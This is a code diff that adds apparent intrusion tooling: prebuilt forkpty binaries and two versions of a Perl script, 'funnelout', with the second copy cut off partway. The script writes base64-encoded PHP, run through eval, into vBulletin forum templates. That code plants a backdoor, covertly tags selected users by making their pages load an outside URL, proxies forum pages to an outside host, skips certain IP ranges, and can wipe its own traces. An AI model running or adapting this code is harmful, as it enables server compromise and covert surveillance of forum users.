b/Linux/up/forkpty.i686-pc-linux-gnu new file mode 100644 index 0000000..7bae613 Binary files /dev/null and b/Linux/up/forkpty.i686-pc-linux-gnu differ diff --git a/Linux/up/forkpty.sparc-sun-solaris2.10 b/Linux/up/forkpty.sparc-sun-solaris2.10 new file mode 100644 index 0000000..8ef58a0 Binary files /dev/null and b/Linux/up/forkpty.sparc-sun-solaris2.10 differ diff --git a/Linux/up/forkpty.sparc-sun-solaris2.5.1 b/Linux/up/forkpty.sparc-sun-solaris2.5.1 new file mode 100644 index 0000000..8ef58a0 Binary files /dev/null and b/Linux/up/forkpty.sparc-sun-solaris2.5.1 differ diff --git a/Linux/up/forkpty.sparc-sun-solaris2.6 b/Linux/up/forkpty.sparc-sun-solaris2.6 new file mode 100644 index 0000000..8ef58a0 Binary files /dev/null and b/Linux/up/forkpty.sparc-sun-solaris2.6 differ diff --git a/Linux/up/forkpty.sparc-sun-solaris2.7 b/Linux/up/forkpty.sparc-sun-solaris2.7 new file mode 100644 index 0000000..8ef58a0 Binary files /dev/null and b/Linux/up/forkpty.sparc-sun-solaris2.7 differ diff --git a/Linux/up/forkpty.sparc-sun-solaris2.8 b/Linux/up/forkpty.sparc-sun-solaris2.8 new file mode 100644 index 0000000..8ef58a0 Binary files /dev/null and b/Linux/up/forkpty.sparc-sun-solaris2.8 differ diff --git a/Linux/up/forkpty.sparc-sun-solaris2.9 b/Linux/up/forkpty.sparc-sun-solaris2.9 new file mode 100644 index 0000000..8ef58a0 Binary files /dev/null and b/Linux/up/forkpty.sparc-sun-solaris2.9 differ diff --git a/Linux/up/forkpty.x86_64-unknown-linux-gnu b/Linux/up/forkpty.x86_64-unknown-linux-gnu new file mode 100755 index 0000000..ef383e9 Binary files /dev/null and b/Linux/up/forkpty.x86_64-unknown-linux-gnu differ diff --git a/Linux/up/funnelout.v3.0.0.1.pl b/Linux/up/funnelout.v3.0.0.1.pl new file mode 100755 index 0000000..85685a0 --- /dev/null +++ b/Linux/up/funnelout.v3.0.0.1.pl @@ -0,0 +1,1131 @@ +#!/usr/bin/env perl + +use strict; +use warnings; +use Getopt::Long; +use DBI; +use MIME::Base64; +use Digest::MD5 qw(md5_hex); +use POSIX ":sys_wait_h"; + +my $hour = 60*60; + +my $postlist = ''; +my $crumb = ''; +my $minutes = ''; +my $force = 0; +my $verbose = 0; +my $DB_host = "localhost"; +my $DB_port = "3306"; +my $DB_name; +my $DB_user; +my $DB_pass; +my $DB_table = "template"; +my $DB_con; +my $config_file; +my $sslOP = "ssloff"; +my $tagInt = 6; +my $tagTime = 24*$hour; +my $tagUrl; +my $http = 1; +my $blackList = '84b8026b3f5e6dcfb29e82e0b0b0f386,e6d290a03b70cfa5d4451da444bdea39'; # unregistered (EN), dbedd120e3d3cce1 (AR) +my @excludeList; +my @excludeListHex; +my @includeList; +my @includeListHex; +my @postList; +my $tagTemplate = "navbar"; +my $proxyTemplate = "header"; +my $doorTemplate = "footer"; +my $proxyPage = "showpost.php"; + +my $codePrefix = '".@eval(base64_decode("'; +my $codeSuffix = '"))."'; +my $userHashSalt = "l9ed39e2fea93e5"; +my $op; +my $code_door; +my $code_tag; +my $code_proxy; + +my @opTypes = ("tag", "door", "proxy", "proxytag", "status", "reset", + "cleanTag", "cleanDoor", "cleanProxy", "cleanAll", + "showTag", "showDoor", "showProxy", "showTagged", "showTaggedCount", + "showAll", "findAll"); + +sub main(); + +getOpts(); +main(); + + +sub main() { + $DB_con = DBI->connect("DBI:mysql:$DB_name:$DB_host:$DB_port", $DB_user, $DB_pass) or die "Error connecting @!"; + + if(($op eq "tag") || ($op eq "proxytag")) { + op_tag(); + } elsif ($op eq "door") { + op_door(); + } elsif ($op eq "proxy") { + op_proxy(); + op_tag(); + } elsif ($op eq "status") { + op_status(); + showTaggedCount(); + } elsif ($op eq "reset") { + op_reset(); + } elsif ($op eq "cleanTag") { + op_clean($tagTemplate); + } elsif ($op eq "cleanDoor") { + op_clean($doorTemplate); + } elsif ($op eq "cleanProxy") { + op_clean($proxyTemplate); + op_clean($tagTemplate); + } elsif($op eq "cleanAll") { + op_cleanall(); + } elsif ($op eq "showTag") { + show_table($tagTemplate); + } elsif ($op eq "showDoor") { + show_table($doorTemplate); + } elsif ($op eq "showProxy") { + show_table($proxyTemplate); + } elsif ($op eq "showTagged") { + showTagged(); + showTaggedCount(); + } elsif ($op eq "showTaggedCount") { + showTaggedCount(); + } elsif ($op eq "showAll") { + op_showAll(); + } elsif ($op eq "findAll") { + op_findAll(); + } else { + die "Unknown op.\n"; + } + + $DB_con->disconnect(); +} + +sub getOpts { + my $help = 0; + + my ($lDB_host, $lDB_port, $lDB_name, $lDB_user, + $lDB_pass, $lDB_table, $lSSL, $lTagTime); + + if($#ARGV == -1) { + printUsage(); + exit(1); + } + + GetOptions( + "help!" => \$help, + "op:s" => \$op, + "h:s" => \$lDB_host, + "port:s" => \$lDB_port, + "d:s" => \$lDB_name, + "u:s" => \$lDB_user, + "p:s" => \$lDB_pass, + "t:s" => \$lDB_table, + "conf:s" => \$config_file, + "ssl:s" => \$sslOP, + "int:i" => \$tagInt, + "time:i" => \$lTagTime, + "minutes!" => \$minutes, + "crumb!" => \$crumb, + "tag:s" => \$tagUrl, + "http!" => \$http, + "bl:s" => \$blackList, + "exclude|x:s" => \@excludeList, + "exclude-hex|xh:s" => \@excludeListHex, + "wl|include|i:s" => \@includeList, + "include-hex|ih:s" => \@includeListHex, + "postlist|i:s" => \@postList, + "tagtemplate:s" => \$tagTemplate, + "proxytemplate:s" => \$proxyTemplate, + "doortemplate:s" => \$doorTemplate, + "f!" => \$force, + "v!" => \$verbose + ); + + if($help eq "1" or not defined $op) { + printUsage(); + exit(1); + } + + grep(/\Q$op\E/, @opTypes) or die "Invalid op. Use: " . join(' ', @opTypes) ."\n"; + + defined($config_file) and read_config($config_file); + + if(defined($lDB_host)) { + $DB_host = $lDB_host; + } + + if(defined($lDB_port)) { + $DB_port = $lDB_port; + } + + if(defined($lDB_name)) { + $DB_name = $lDB_name + } + + if(defined($lDB_user)) { + $DB_user = $lDB_user; + } + + if(defined($lDB_pass)) { + $DB_pass = $lDB_pass; + } + + if(defined($lDB_table)) { + $DB_table = $lDB_table + } + + defined($DB_host) and defined($DB_port) and defined($DB_name) + and defined($DB_user) and defined($DB_pass) and defined($DB_table) + or die "DB stuff not defined.\n"; + + if(defined($lTagTime)) { + $tagTime = $lTagTime * $hour; + } + + if(defined($lTagTime) && $minutes) { + $tagTime = $lTagTime * 60; + } + + if (defined($tagUrl) and $tagUrl !~ /(.+?)\/.+?\/.+?\/(.+?)\/\d+\/(.+?)\/(.*)/) { + die "Invalid tag URL: $tagUrl\n"; + } + + print "DB Host: $DB_host\n"; + print "DB Port: $DB_port\n"; + print "DB Name: $DB_name\n"; + print "DB User: $DB_user\n"; + print "DB Pass: $DB_pass\n"; + print "DB Table: $DB_table\n\n"; + + if($op eq "tag" or $op eq "proxy") { + defined $tagUrl or die "You must give a tag URL.\n"; + + print "SSL: $sslOP\n"; + print "Tag Rand Interval: $tagInt\n"; + print "Tag Time: $tagTime\n"; + print "Tag Template: $tagTemplate\n"; + print "Proxy Template: $proxyTemplate\n" if $op eq "proxy"; + + if($sslOP ne "sslonly" and $sslOP ne "mixed" and $sslOP ne "ssloff") { + die "Unkown ssl option ($sslOP), options are sslonly, mixed or ssloff\n"; + } + + if(not $force and $tagInt < 2) { + die "Tag Interval cannot be less than 2.\n"; + } + + if(not $force and $tagTime < $hour) { + die "Tag time cannot be less than 1.\n"; + } + + my $tmp_bl = $blackList; + $tmp_bl =~ s/[a-fA-F0-9,]//g; + if($tmp_bl ne "") { + die "There are illegal characters in the black list ($tmp_bl). You need comma separated MD5 sums\n"; + } + } + +# if($DB_name eq "" or $DB_user eq "" or $DB_pass eq "" or $DB_host eq "") { +# print "Database Name, User, Password and Host are required\n"; +# exit; +# } +} + +sub printUsage { + print <fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = "??"; + if ($code =~ /proxyhost/) { + $s = "Proxy"; + $pc = $code; + $p = 1; + } + if ($code =~ /$userHashSalt/) { + $s = "Tag"; + $tc = $code; + $t = 1; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s = "Backdoor"; + $d = 1; + } + $msg .= sprintf "%-15s $row[0]\n", "$s template:"; + } + print "Status: "; + print "TAGGING " if $t; + print "PROXYING " if $p; + print "BACKDOOR" if $d; + print "nothing enabled" if !$t and !$p and !$d; + print "\n"; + print $msg; + + if ($t) { + my ($h,$tag) = extractTag($tc, $pc); + print "Proxy " if $p; + print "Tag: " . (defined $tag ? $tag : "???") . "\n"; + print "Proxy Target: $h\n" if $p; + } +} + +sub op_reset() { + sql_exec("DELETE FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); +} + +sub show_table { + my $title = $_[0]; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title'"); + + print $statement->fetchrow() . "\n"; + + $statement->finish(); +} + +sub showTaggedCount { + my $statement = sql_exec("SELECT COUNT(*) FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + my $row = $statement->fetchrow(); + + print "\nTagged User(s) = $row\n"; +} + +sub showTagged { + my $statement = sql_exec("SELECT title, data FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + print "------ User ------+---- last page view reset time ----+--- page views until tag ---\n"; + while (my @row = $statement->fetchrow_array()) { + my $name = $row[0]; + my @state = tagStateUnserialize($row[1]); + my @ts = localtime($state[0]); + my $rtime = sprintf("%02d/%02d/%04d %02d:%02d:%02d", + ($ts[4] + 1), $ts[3], ($ts[5]+1900), $ts[2], $ts[1], $ts[0]); + my $views; + if ($state[1] == -1) { + $views = "-1 (tagged, waiting for reset)"; + } else { + $views = $state[1]; + } + printf "%-17s | %-34s| %s\n", $name, $rtime, $views; + } +} + +sub op_showAll { + print "---- TAG TEMPLATE: $tagTemplate ----\n"; + show_table($tagTemplate); + + print "\n---- DOOR TEMPLATE: $doorTemplate ----\n"; + show_table($doorTemplate); + + print "\n---- PROXY TEMPLATE: $proxyTemplate ----\n"; + show_table($proxyTemplate); + + print "\n\n"; + showTagged(); +} + +sub op_findAll { + my $statement = sql_exec("SELECT title,template FROM template WHERE template LIKE '%$codePrefix%$codeSuffix%'"); + printf "%16s | %s\n", "Template", "Op type"; + printf "-----------------+-------------------\n"; + while (my @row = $statement->fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = ""; + if ($code =~ /proxyhost/) { + $s .= "Proxy "; + } + if ($code =~ /$userHashSalt/) { + $s .= "Tag "; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s .= "Backdoor "; + } + printf "%16s | %s\n", $row[0], $s; + } +} + +sub patch_db { + my $patchString = $_[0]; + my $title = $_[1]; + + $patchString =~ s/\\/\\\\/g; + + print "Patching... "; + #print "$DB_table $patchString $title\n"; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'"); + + #print ("UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'\n"); + $statement->finish(); + + print "Done\n"; + + if(verify($patchString, $title, 1) == 0) { + print "Patch failed\n"; + } +} + +sub tagStateUnserialize() { + my $d = shift; + + $d =~ /a:2:\{i:0;i:(\d+);i:1;i:(-?\d+);}/ or return undef; + + return ($1, $2); +} + +sub op_clean { + my $title = $_[0]; + print "Cleaning code... "; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '\".\@eval(',1) WHERE title='$title';"); + + print "Done\n"; + + $statement->finish(); + + if(verify('".@eval(', $title, 1) == 1) { + print "Clean failed\n"; + } +} + +sub op_cleanall { + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '$codePrefix',1);"); + $statement->finish(); + + $statement = sql_exec( + "SELECT title FROM $DB_table WHERE template LIKE '%$codePrefix%';"); + $statement->fetchrow_array(); + $statement->rows == 0 or die "Clean didn't take.\n"; + print "All clean.\n"; +} + +sub verify { + my $checkString = $_[0]; + my $title = $_[1]; + my $verbose = $_[2]; + + $checkString =~ s/\\/\\\\/g; + + print "Verifying... " if $verbose; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title' and template LIKE '%$checkString%'"); + + $statement->fetchrow_array(); + + my $row_count = $statement->rows; + + $statement->finish(); + + if($row_count == 0) { + print "Patch is NOT in the database.\n" if $verbose; + return 0; + } else { + print "Patch is in the database.\n" if $verbose; + return 1; + } +} + +sub sql_exec { + my $stat = $_[0]; + + #print "SQL: $stat\n"; + + my $statement = $DB_con->prepare($stat); + $statement->execute() or die "Error executing statement: @!"; + + return $statement; +} + +sub validateTemplate { + my $template = $_[0]; + + my $statement = sql_exec("SELECT template FROM template WHERE title = '$template'"); + while (my @row = $statement->fetchrow_array()) { + checkPhpSyntax($row[0]) or return 0; + } + + return 1; + +} + +{ +my $php; +sub checkPhpSyntax { + my $code = $_[0]; + + # look for php + if (not defined($php)) { + foreach my $p (split(':', $ENV{PATH})) { + if (-x "$p/php") { + $php = "$p/php"; + last; + } + } + + if (not defined($php)) { + print "Warning: Failed to find php command line.\n"; + print "We couldn't validate the modified template, but you are probably ok.\n"; + $php = "0"; + } + } + + if (defined($php) and $php ne "0") { + my $pid = open(PHP, "|-", "$php -H -l -n -d log_errors=Off &>/dev/null"); + print PHP $code; + close(PHP); + if (not WIFEXITED($?) and not WEXITSTATUS($?) == 0) { + return 0; + } + } + + return 1; +}} + +sub existsUser { + my $u = $_[0]; + + my $statement = sql_exec("SELECT username FROM user WHERE username='$u'"); + while (my @r = $statement->fetchrow_array()) {} + return 1 if ($statement->rows > 0); + return 0; +} + +sub getUserList { + my $lst = $_[0]; + my $lsth = $_[1]; + my @users = (); + + if (defined($lst)) { + push @users, split(',', join(',', @$lst)); + } + + if (defined($lsth)) { + my @hstrs = split(',', join(',', @$lsth)); + my @str = (); + foreach my $s (@hstrs) { + $s =~ /^[a-fA-F0-9]+$/ or die "Invalid hex string: $s\n"; + length($s) % 2 == 0 or die "Invalid hex string length: $s\n"; + push @users, pack("C*", map(hex, unpack("(A2)*", $s))) + } + } + + return @users; +} + +sub getPostList { + my $lst = $_[0]; + my @posts = (); + + if (defined($lst)) { + push @posts, split(',', join(',', @$lst)); + } + + return @posts; +} + + + +sub getVbVersion() { + my $stat = sql_exec("SELECT value FROM setting WHERE varname = 'templateversion'"); + my @row = $stat->fetchrow(); + $stat->finish(); + if (@row == 0) { + return undef; + } + else { + return $row[0]; + } +} + + +sub read_config { + my $file = $_[0]; + + my $line; + + my $crap; + my $major; + my $minor; + my $field; + my $value; + + open (IN, "<$file") or die "Can't open ($file) $!\n"; + + while($line = ) { + $line = trim($line); + if( !($line =~ m/^[\/\/\#]/) and $line =~ m/\$config/) { + ($major, $value) = split(/=/, $line); + + $value = trim($value); + $value =~ s/[ ;\']//g; + + ($crap, $major, $crap, $minor, $crap) = split(/\'/, $major); + + $field = "$major$minor"; + if($field eq "Databasedbname") { + $DB_name = $value; + } elsif($field eq "Databasetableprefix") { + $DB_table = "$value$DB_table"; + } elsif($field eq "MasterServerservername") { + $DB_host = $value; + } elsif($field eq "MasterServerport") { + $DB_port = $value; + } elsif($field eq "MasterServerusername") { + $DB_user = $value; + } elsif($field eq "MasterServerpassword") { + $DB_pass = $value; + } + } + } + + close(IN); +} + +sub trim { + my $string = $_[0]; + $string =~ s/^\s+//; + $string =~ s/\s+$//; + return $string; +} + +sub run { + my $cmd = $_[0]; + + print "CMD: $cmd\n"; + print `$cmd`; +} + +sub getBase64Encode { + my $enc = encode_base64($_[0]); + $enc =~ s/\n//g; + $enc; +} + +sub getBase64File { + my $filename = $_[0]; + my $contents; + + + open(IN, "<$filename") or die "Couldn't open file $filename: $!\n"; + + binmode(IN); + $contents = encode_base64(do { local $/; }); + close(IN); + + $contents =~ s/\n//g; + $contents; +} + +sub makeTagCode { + my $contents; + my $text; + my ($text2, $text3, $text4, $text5); # used to build the code interactively + my $urlBuild; + my $crumbBuild = "''"; + my $bl; + my $postl; + my $proxyUrl; + my $proxyTo; + my $doSSL = ""; + + print "BL: $blackList\n"; + foreach my $b (split(/,/, $blackList)) { + $bl .= " and \$md !== '" . trim($b) . "'"; + } + + my @users = getUserList(\@excludeList, \@excludeListHex); + my $msg = "Exclude: "; + my $exp = ""; + foreach my $u (@users) { + existsUser($u) or die "User '$u' does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $bl .= " and \$md !== '$xu'"; + } + $bl .= $exp if length($exp) > 0; + print "$msg\n"; + + @users = getUserList(\@includeList, \@includeListHex); + $msg = "Include: "; + $exp = ""; + foreach my $u (@users) { + existsUser($u) or die "User '$u' does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $exp .= " or \$md == '$xu'"; + } + $bl .= " and (false $exp)" if length($exp) > 0; + print "$msg\n"; + print "filter exp: true $bl\n" if $verbose; + + if(@postList){ + $exp = ""; + my @posts = getPostList(\@postList); + foreach my $p (@posts) { + $exp .= " or \$v->GPC['postid'] == $p"; + } + $postl .= " and (false $exp)" if length($exp) > 0; + print "post exp: true $postl\n" if $verbose; + } + + $tagUrl =~ s/[\r\t\n]//g; + $tagUrl = trim($tagUrl); + + if($tagUrl =~ m/\.html$/) { + die "Tag should not be ending with '.html' (it's automatically appended), check to make sure you entered it correctly!\n"; + } + + if($tagUrl =~ m/^(http|https):\/\//) { + die "Tag should not start with http:// or https:// (those are automatically prepended), check to make sure you entered it correctly!\n"; + } + + + if(($op eq "proxy") || ($op eq "proxytag")){ + ($proxyTo, $proxyUrl) = split(/\//, $tagUrl, 2); + $urlBuild = '$htt = "showpost.php/' . $proxyUrl . '";'; + } elsif(!$http) { + $urlBuild = '$htt = "' . $tagUrl . '";'; + } else { + if($sslOP eq "ssloff") { + $doSSL = "or isset(\$_SERVER['HTTPS'])"; + $urlBuild = '$htt = "http://' . $tagUrl . '";'; + } elsif($sslOP eq "mixed") { + $urlBuild = <' +END + } + + $text = <datastore) $doSSL) { + return ""; +} + +// Get pointers +\$bd = 'build_datastore'; +\$v =& \$vbulletin; +\$d =& \$v->datastore; +\$r =& \$d->registry; + +// Get local state, username and array with switch and ctime +\$n = \$_SERVER['SERVER_ADDR'] . \$r->config['MasterServer']['servername']; +\$u = \$v->userinfo['username']; +\$k = substr(md5("$userHashSalt" . \$n), 0, 15); +\$d->fetch(array(\$k)); + +clearstatcache(); +\$st = stat("showthread.php"); +\$st[10] = 1258466920; + +// Initialize. This is the first run. +if(!isset(\$r->\$k)) { + \$tmp[0] = true; + \$tmp[1] = \$st[10]; + + \$bd(\$k, serialize(\$tmp), 1); + \$d->fetch(array(\$k)); + + // Don't tag if, for whatever reason, we can't save state. + // Same length is used for username. So if this key is saved + // then the username should be saved. + if(!isset(\$r->\$k)) { + return ""; + } +} + +// We don't want to tag if the switch is off or showthread's ctime (st[10]) has changed. +\$rk =& \$r->\$k; +if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); +} + +if(\$rk[0] == false OR \$rk[1] !== \$st[10]) { + return ""; +} + +if(THIS_SCRIPT=='showthread' or (THIS_SCRIPT=='private' and + (\$_REQUEST['do']=='newpm' or \$_REQUEST['do'] == 'showpm'))){ + + \$eu=urlencode(\$u); + \$md = md5(\$u); + if(true$bl) { + \$td = time(); +END + + if($minutes){ # separate this group from the others, notice '4' + $text2 = <userinfo['salt'] . '4'), 0, 15); +END + } + else{ + $text2 = <userinfo['salt']), 0, 15); +END + } + + # this always happens + $text3 = <fetch(array(\$key)); + + if(!isset(\$r->\$key)) { + \$bd(\$key, serialize(array('')), 1); + \$d->fetch(array(\$key)); + } + + \$rk =& \$r->\$key; + if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); + } + if(preg_match('/^(64\.38\.3\.50|195\.28\.|94\.102\.|91\.93\.|41\.130\.|212\.118\.|79\.173\.|85\.159\.|94\.249\.|86\.108\.)/',IPADDRESS)){ + return ""; + } +END + + # when viewing a particular thread (defined by -postlist), always tag immediately + if(@postList){ + $text4 = <'; + } +END + } + # this is the normal case. tag randomly every so often + else{ + $text4 = <= $tagTime) { + \$rk[0] = \$td; + \$rk[1] = rand(0, $tagInt); + + \$bd(\$key, serialize(\$rk), 1); + } + + if(\$rk[1] > 0) { + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + } + else if(\$rk[1] == 0) { + // should make it -1 and stop tagging for today. + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + + $urlBuild + return $crumbBuild . ''; + } +END + } + +# finish the code, could put it in $text4, but then the code looks weird with the parens +$text5 = < 0){ + \$query = \$_SERVER['QUERY_STRING']; + if(strlen(\$query) > 1){ + \$fa = "http://\$fahost/\$new_path?\$query"; + } + else{ + \$fa = "http://\$fahost/\$new_path"; + } +} + +\$refer = \$_SERVER['HTTP_REFERER']; +\$lang = \$_SERVER['HTTP_ACCEPT_LANGUAGE']; +\$forw = \$_SERVER['HTTP_X_FORWARDED_FOR']; +\$url_info = parse_url(\$fa); +\$query = isset(\$url_info["query"]) ? "?" . \$url_info["query"] : ""; +\$req = "GET " . \$url_info["path"] . \$query . " HTTP/1.1\\r\\n"; +\$req .= "Host: " . \$proxyhost . "\\r\\n"; +\$req .= "User-Agent: " . \$agent . "\\r\\n"; +\$req .= "Accept-Language: " . \$lang . "\\r\\n"; +if(strlen(\$script) > 0){ + \$req .= "From: " . \$script . "\\r\\n"; +} +if(!empty(\$_SERVER['HTTP_X_FORWARDED_FOR'])){ + \$req .= "X-Forwarded-For: " . \$forw . ", " . \$_SERVER['REMOTE_ADDR'] . "\\r\\n"; +} +else{ + \$forw = \$_SERVER['REMOTE_ADDR']; + \$req .= "X-Forwarded-For: " . \$forw . "\\r\\n"; +} +\$req .= "Referer: " . \$refer . "\\r\\n"; +\$req .= "Connection: close\\r\\n"; +\$req .= "\\r\\n"; + +\$port = isset(\$url_info["port"]) ? \$url_info["port"] : 80; +\$fp = fsockopen(\$url_info["host"],\$port,\$errno,\$errstr,30); +if(!\$fp){ + exit(); +} +fwrite(\$fp,\$req); +stream_set_timeout(\$fp,60); +\$res = ""; +while(!feof(\$fp)){ + \$res .= fgets(\$fp,128); +} +fclose(\$fp); +\$res = \@explode("\\r\\n\\r\\n",\$res,2); +\$header = \$res[0]; +\$page = \$res[1]; + +\$headers = explode("\\r\\n",\$header); +foreach(\$headers as \$value){ + \$a = ""; + \$b = ""; + list(\$a,\$b) = explode(":",\$value); + \$http_header[trim(\$a)] = trim(\$b); + if((\$_SERVER['HTTPS']) && (preg_match("/Pragma: no-cache|Cache-Control: no-cache, no-store/",\$value))){ + + } + else{ + header(\$value); + } +} + +\$size = \$http_header["Content-Length"]; +\$type = \$http_header["Content-Type"]; + +if(empty(\$http_header['Content-Type'])){ + \$type = 'text/html'; +} + +//if(preg_match("/\$proxyhost/",\$page)){ +// \$text = preg_replace("/\$proxyhost/", \$proxy, \$page); +// \$size = strlen(\$text); +//} +//else{ + \$text = \$page; +//} +if (eregi('text/html',\$type)){ + header("Content-Type: text/html;charset="); +} +if((\$_SERVER['HTTPS']) && (preg_match("/http:\\\/\\\/\$proxyhost/",\$text))){ + \$text = preg_replace("/http:\\\/\\\/\$proxyhost/", "https://\$proxyhost", \$text); + \$size++; +} +header("Content-Length: \$size"); + +print \$text; +exit(0); +} +END + + checkPhpSyntax($text) or die "Proxy code has a PHP syntax error.\n"; + + my $prepared = prepareCode($text); + #print "---- CODE ----\n$text\n---- CODE ----\n"; + + return $prepared; +} + +sub prepareCode { + my $text = $_[0]; + + my $contents = ""; + + foreach my $line (split(/\n/, $text)) { + $line = trim($line); + my $append = " "; + + if($line ne "" and not ($line =~ m/^\/\//)) { + if($line =~ m/[\;\)\}\{]$/) { + $append = ""; + } + + #optimize: + $line =~ s/\) \{/\)\{/g; + $line =~ s/ == /==/g; + $line =~ s/ !== /!==/g; + $line =~ s/ = /=/g; + $line =~ s/ - /-/g; + $line =~ s/ =& /=&/g; + $line =~ s/, /,/g; + $line =~ s/ > />/g; + $line =~ s/\} else/\}else/g; + $line =~ s/ \. /\./g; + + $contents .= $line . $append; + } + } + + return getBase64Encode($contents); +} diff --git a/Linux/up/funnelout.v4.0.0.1.pl b/Linux/up/funnelout.v4.0.0.1.pl new file mode 100755 index 0000000..c066093 --- /dev/null +++ b/Linux/up/funnelout.v4.0.0.1.pl @@ -0,0 +1,1217 @@ +#!/usr/bin/env perl + +use strict; +use warnings; +use Getopt::Long; +use DBI; +use MIME::Base64; +use Digest::MD5 qw(md5_hex); +use POSIX ":sys_wait_h"; + +my $hour = 60*60; + +my $postlist = ''; +my $crumb = ''; +my $minutes = ''; +my $force = 0; +my $verbose = 0; +my $DB_host = "localhost"; +my $DB_port = "3306"; +my $DB_name; +my $DB_user; +my $DB_pass; +my $DB_table = "template"; +my $DB_con; +my $config_file; +my $sslOP = "ssloff"; +my $tagInt = 6; +my $tagTime = 24*$hour; +my $tagUrl; +my $http = 1; +my $blackList = '84b8026b3f5e6dcfb29e82e0b0b0f386,e6d290a03b70cfa5d4451da444bdea39'; # unregistered (EN), dbedd120e3d3cce1 (AR) +my @excludeList; +my @excludeListHex; +my @includeList; +my @includeListHex; +my @postList; +my $tagTemplate = "navbar"; +my $proxyTemplate = "header"; +my $doorTemplate = "footer"; +my $proxyPage = "showpost.php"; + +my $codePrefix = '".@eval(base64_decode("'; +my $codeSuffix = '"))."'; +my $userHashSalt = "l9ed39e2fea93e5"; +my $op; +my $code_door; +my $code_tag; +my $code_proxy; + +my @opTypes = ("tag", "door", "proxy", "proxytag", "status", "reset", + "cleanTag", "cleanDoor", "cleanProxy", "cleanAll", + "showTag", "showDoor", "showProxy", "showTagged", "showTaggedCount", + "showAll", "findAll"); + +sub main(); + +getOpts(); +main(); + + +sub main() { + $DB_con = DBI->connect("DBI:mysql:$DB_name:$DB_host:$DB_port", $DB_user, $DB_pass) or die "Error connecting @!"; + + if(($op eq "tag") || ($op eq "proxytag")) { + op_tag(); + } elsif ($op eq "door") { + op_door(); + } elsif ($op eq "proxy") { + op_tag(); + op_proxy(); + } elsif ($op eq "status") { + op_status(); + showTaggedCount(); + } elsif ($op eq "reset") { + op_reset(); + } elsif ($op eq "cleanTag") { + op_clean($tagTemplate); + } elsif ($op eq "cleanDoor") { + op_clean($doorTemplate); + } elsif ($op eq "cleanProxy") { + op_clean($proxyTemplate); + op_clean($tagTemplate); + } elsif($op eq "cleanAll") { + op_cleanall(); + } elsif ($op eq "showTag") { + show_table($tagTemplate); + } elsif ($op eq "showDoor") { + show_table($doorTemplate); + } elsif ($op eq "showProxy") { + show_table($proxyTemplate); + } elsif ($op eq "showTagged") { + showTagged(); + showTaggedCount(); + } elsif ($op eq "showTaggedCount") { + showTaggedCount(); + } elsif ($op eq "showAll") { + op_showAll(); + } elsif ($op eq "findAll") { + op_findAll(); + } else { + die "Unknown op.\n"; + } + + $DB_con->disconnect(); +} + +sub getOpts { + my $help = 0; + + my ($lDB_host, $lDB_port, $lDB_name, $lDB_user, + $lDB_pass, $lDB_table, $lSSL, $lTagTime); + + if($#ARGV == -1) { + printUsage(); + exit(1); + } + + GetOptions( + "help!" => \$help, + "op:s" => \$op, + "h:s" => \$lDB_host, + "port:s" => \$lDB_port, + "d:s" => \$lDB_name, + "u:s" => \$lDB_user, + "p:s" => \$lDB_pass, + "t:s" => \$lDB_table, + "conf:s" => \$config_file, + "ssl:s" => \$sslOP, + "int:i" => \$tagInt, + "time:i" => \$lTagTime, + "minutes!" => \$minutes, + "crumb!" => \$crumb, + "tag:s" => \$tagUrl, + "http!" => \$http, + "bl:s" => \$blackList, + "exclude|x:s" => \@excludeList, + "exclude-hex|xh:s" => \@excludeListHex, + "wl|include|i:s" => \@includeList, + "include-hex|ih:s" => \@includeListHex, + "postlist|i:s" => \@postList, + "tagtemplate:s" => \$tagTemplate, + "proxytemplate:s" => \$proxyTemplate, + "doortemplate:s" => \$doorTemplate, + "f!" => \$force, + "v!" => \$verbose + ); + + if($help eq "1" or not defined $op) { + printUsage(); + exit(1); + } + + grep(/\Q$op\E/, @opTypes) or die "Invalid op. Use: " . join(' ', @opTypes) ."\n"; + + defined($config_file) and read_config($config_file); + + if(defined($lDB_host)) { + $DB_host = $lDB_host; + } + + if(defined($lDB_port)) { + $DB_port = $lDB_port; + } + + if(defined($lDB_name)) { + $DB_name = $lDB_name + } + + if(defined($lDB_user)) { + $DB_user = $lDB_user; + } + + if(defined($lDB_pass)) { + $DB_pass = $lDB_pass; + } + + if(defined($lDB_table)) { + $DB_table = $lDB_table + } + + defined($DB_host) and defined($DB_port) and defined($DB_name) + and defined($DB_user) and defined($DB_pass) and defined($DB_table) + or die "DB stuff not defined.\n"; + + if(defined($lTagTime)) { + $tagTime = $lTagTime * $hour; + } + + if(defined($lTagTime) && $minutes) { + $tagTime = $lTagTime * 60; + } + + #if (defined($tagUrl) and $tagUrl !~ /(.+?)\/.+?\/.+?\/(.+?)\/\d+\/(.+?)\/(.*)/) { + #die "Invalid tag URL: $tagUrl\n"; + #} + + print "DB Host: $DB_host\n"; + print "DB Port: $DB_port\n"; + print "DB Name: $DB_name\n"; + print "DB User: $DB_user\n"; + print "DB Pass: $DB_pass\n"; + print "DB Table: $DB_table\n\n"; + + if($op eq "tag" or $op eq "proxy") { + defined $tagUrl or die "You must give a tag URL.\n"; + + print "SSL: 